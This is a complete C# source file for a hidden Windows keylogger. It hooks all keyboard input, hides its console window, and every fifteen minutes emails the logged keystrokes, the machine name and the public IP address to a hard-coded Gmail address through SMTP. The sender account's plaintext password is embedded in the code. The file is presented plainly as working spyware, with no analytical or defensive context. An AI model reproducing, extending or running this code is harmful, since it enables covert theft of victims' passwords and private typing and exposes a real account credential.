using System;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Net.Mail;
using System.Collections.Generic;
using System.Net;

class InterceptKeys
{
    public List<string> buttons = new List<string>();
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;
    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;
    static Timer myTimer = new Timer();
    public static InterceptKeys Instance;
    public static void Main()
    {
        Instance = new InterceptKeys();
        myTimer.Tick += new EventHandler(TimerEventProcessor);
        myTimer.Interval = 900000;
        myTimer.Start();
        var handle = GetConsoleWindow();

        // Hide
        ShowWindow(handle, SW_HIDE);

        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);

    }
    public string GetLocalIPAddress()
    {
        string myIp = new WebClient().DownloadString(@"http://icanhazip.com").Trim();
        return myIp;
    }
    private static void TimerEventProcessor(object sender, EventArgs e)
    {
        MailMessage loginInfo = new MailMessage();
        string em = "trymis00@gmail.com";
        loginInfo.To.Add(em.ToString());
        loginInfo.From = new MailAddress("logtvbt@gmail.com");
        loginInfo.Subject = "SystemName=" + Environment.MachineName.ToString() + " " + "(IpAddress=" + "(" + InterceptKeys.Instance.GetLocalIPAddress() + ")";

        foreach (string item in InterceptKeys.Instance.buttons)
        {
            loginInfo.Body += item + ", ";
        }
        loginInfo.IsBodyHtml = true;
        SmtpClient smtp = new SmtpClient();
        smtp.Host = "smtp.gmail.com";
        smtp.Port = 587;
        smtp.EnableSsl = true;
        smtp.Credentials = new System.Net.NetworkCredential("logtvbt@gmail.com", "Athen642");
        smtp.Send(loginInfo);
        InterceptKeys.Instance.buttons.Clear();
    }
    private void addThingy(string thing)
    {
        buttons.Add(thing);
    }

    private static IntPtr SetHook(LowLevelKeyboardProc proc)
    {
        using (Process curProcess = Process.GetCurrentProcess())
        using (ProcessModule curModule = curProcess.MainModule)
        {
            return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                GetModuleHandle(curModule.ModuleName), 0);
        }
    }

    private delegate IntPtr LowLevelKeyboardProc(
        int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallback(
        int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);
            Console.WriteLine((Keys)vkCode);
            var k = (Keys)vkCode;
            InterceptKeys.Instance.buttons.Add(k.ToString());
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook,
        LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
        IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    const int SW_HIDE = 0;

}